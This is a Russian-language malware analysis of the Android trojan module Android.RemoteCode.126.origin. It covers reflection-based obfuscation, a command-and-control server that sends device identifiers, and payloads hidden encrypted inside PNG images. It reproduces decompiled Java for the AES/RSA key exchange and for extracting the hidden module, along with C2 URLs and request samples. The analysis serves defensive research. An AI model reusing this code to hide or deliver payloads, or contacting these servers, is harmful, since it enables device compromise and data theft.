SHA1:
- 582decad305a2c86b09b7024def880929b8fe6ac
Троянский модуль, который загружает на Android-устройства вредоносная программа Android.RemoteCode.127.origin. Его код обфусцирован, при этом в Android.RemoteCode.126.origin используется рефлексия для вызова системных классов, а также шифрование строк.
Android.RemoteCode.126.origin запускается с использованием класса DexClassLoader. После старта он соединяется с управляющим сервером http://sm.**msdk.com и получает от него адрес для загрузки изображения. Например:
http://cdn-sm.**msdk.com/resource/sm/file/png/1513738735687/1513738735687.png
Это изображение содержит зашифрованный вредоносный модуль Android.RemoteCode.125.origin, который представляет модификацию троянца и выполняет похожие функции.
После запуска он загружает с управляющего сервера другое изображение, которое также содержит в себе зашифрованного троянца (Android.Click.221.origin).
Пример процесса получения и расшифровки изображений с троянскими модулями
Вначале Android.RemoteCode.125.origin принимает от управляющего сервера http://sm.**msdk.com публичный ключ:
{
"msg":"success",
"code":0,
"data":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNKSl51vNbKmJhoM75HoaPX3i/6vzL24V3deREFji7rigpxOGQaiHn+3
WzSp4MuumSgDYpblePKnQ9q6m6Jv567CXsAyjbFds7aPx3cDoWbYT++R5vO152+wCu0tvZVVCck0x5aPShXE4ztE7ioSlZBhnYdIFC
pfWqBcDm4pi+fwIDAQAB"
}
Затем он формирует JSON (Java Script Object Notation) следующего вида:
{
"action":202,
"params":{
"channel":"yyyy_02",
"uuid":"********-****-3615-a2d8-9d84cd5e186e",
"imei":"********0006551",
"sdkInitTime":1517582648179,
"activeTime":80000,
"pushVersion":15
}
}
После этого троянец генерирует случайный ключ следующим образом:
public static String randomKey() {
StringBuilder v1 = new StringBuilder();
Random v2 = new Random();
int v0;
for(v0 = 0; v0 < 16; ++v0) {
v1.append(((char)(v2.nextInt(95) + 32)));
}
return v1.toString();
}
и с его помощью шифрует созданный ранее JSON:
public static String EncryptString(String key, String data){
byte[] ret = null;
try{
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, new IvParameterSpec(key.getBytes()));
ret = cipher.doFinal(data.getBytes());
}catch (Exception e){
e.printStackTrace();
}
return new String(Base64.encode(ret, Base64.NO_WRAP));
}
Далее Android.RemoteCode.125.origin шифрует сгенерированный ключ публичным ключом, который он получил от сервера:
public static byte[] encryptKey(byte[] data){
String key =
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNKSl51vNbKmJhoM75HoaPX3i/6vzL24V3deREFji7rig
pxOGQaiHn+3WzSp4MuumSgDYpblePKnQ9q6m6Jv567CXsAyjbFds7aPx3cDoWbYT++R5vO152+wCu0tvZ
VVCck0x5aPShXE4ztE7ioSlZBhnYdIFCpfWqBcDm4pi+fwIDAQAB";
byte[] keyb = Base64.decode(key, Base64.NO_WRAP);
try {
PublicKey pkey = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(keyb));
Cipher c = Cipher.getInstance("RSA/ECB/PKCS1Padding");
c.init(1, ((Key)pkey));
data = c.doFinal(data);
} catch (Exception e) {
e.printStackTrace();
return null;
}
return data;
}
После этого троянец отправляет командному центру запрос вида:
POST HTTP/1.1 http://sm.**msdk.com/athene/do
session:
CihyTVwzXMdJzR6V1PMPjObfgJMY/7WCmbrJq7GT9ZdpiPBlJs+NN/8h2aLESeAOPlnakLP4uq1oOrNcuZSGsQIQYocraobbN8CyyrcS
xZjlWuLSAdosknkWYsLFg1OYV2ptt0UWAW8kh37Hg9C9NRReMWErw8oDQ16ANUUJESs=
count: 1
version: 15
Content-Type: text/html
Accept-Encoding: gzip
Accept: application/json
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Philips_S307 Build/KOT49H)
Host: sm.**msdk.com
Connection: Keep-Alive
Content-Length: 256
A+9tbN20WCpU7auWhdjSuEVRjHJJsphrqpvdRblInJVmq9A0Or0+P7W2kch2DhWF1Tpvw0tl3wl+1yrYhJSq0gkExp/g9lAAwnBx4VB
6ZOrfVyPnC4j+tWkL9ExS1wgg607PEdhM4RHHyjci7qvB3R4Rlk6e2zdrSAhzAwUzHaWa7YVUVvl1ru+zWU1g7SwuLq7oQsEkV8hoZ
pQLN5oFJcv+kp60vksn1S1uflMVggEaOh6KjctLRhrSnXMrZ9wJ
где свойство session – зашифрованный ранее сгенерированный ключ.
В ответ Android.RemoteCode.125.origin получает зашифрованное задание на загрузку изображения, в котором содержится ссылка для скачивания графического файла. Расшифровка задания происходит тем же способом, которым были зашифрованы отправленные троянцем данные при первоначальном запросе к серверу (применяется сгенерированный ключ):
{
"msg":"success",
"code":0,
"data":[
{
"classLoader":true,
"init_methods":"[\"setCacheType\",\"setDebug\", \"init\"]",
"methods":"[{\"name\":\"setCacheType\",\"class\" : [\"int\"],\"value\":[3]},{\"name\":\"setDebug\",\"class\" :
[\"boolean\"],\"value\":[false]},{\"name\":\"init\",\"class\" :
[\"android.content.Context\",\"java.lang.String\"],\"value\":[\"context\",\"channel\"]},{\"name\":\"recycle\",\"class\":[],\"value\
":[]}]",
"is_run":true,
"name":"GW56",
"png":{
"classLoader":false,
"interval_second":0,
"start":4403,
"description":"",
"title":"",
"version":56,
"domain":"",
"download_url":" ", http://cdn-sm.**msdk.com/resource/sm/file/png/1513659330069/1513659330069.png
"is_run":false,
"name":"GW-",
"link_url":"",
"aesKey":"MnbquLPgogfYf2TD",
"desc":"",
"md5":"a4e722d859b2a4b94c763b117f962f8b"
},
"cache_type":3,
"destory_methods":"[\"recycle\"]",
"type":4,
"class_name":" .GW" com.xd.gw
}
]
}
В полученном от сервера ответе содержатся ссылка для загрузки изображения с троянским модулем Android.Click.221.origin http://cdn-sm.**msdk.com/resource/sm/file/png/1513659330069/1513659330069.png и данные для его расшифровки. Это изображение имеет вид:
Извлечь троянский модуль из изображения можно следующим образом:
public static void decodePNG(String imgPath, int start, String key){
try(
FileInputStream fis = new FileInputStream(imgPath);
FileOutputStream fos = new FileOutputStream((imgPath + ".jar"));
ByteArrayOutputStream baos = new ByteArrayOutputStream()
) {
fis.skip(start);
int i = 0;
while ((i = fis.read()) != -1){
baos.write(i);
}
byte[] data = baos.toByteArray();
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, skey, new IvParameterSpec(key.getBytes()));
data = cipher.doFinal(data);
fos.write(data);
}catch (Exception e){
e.printStackTrace();
}
}
Для этого используются значения start и aesKey, полученные ранее в ответном сообщении управляющего сервера.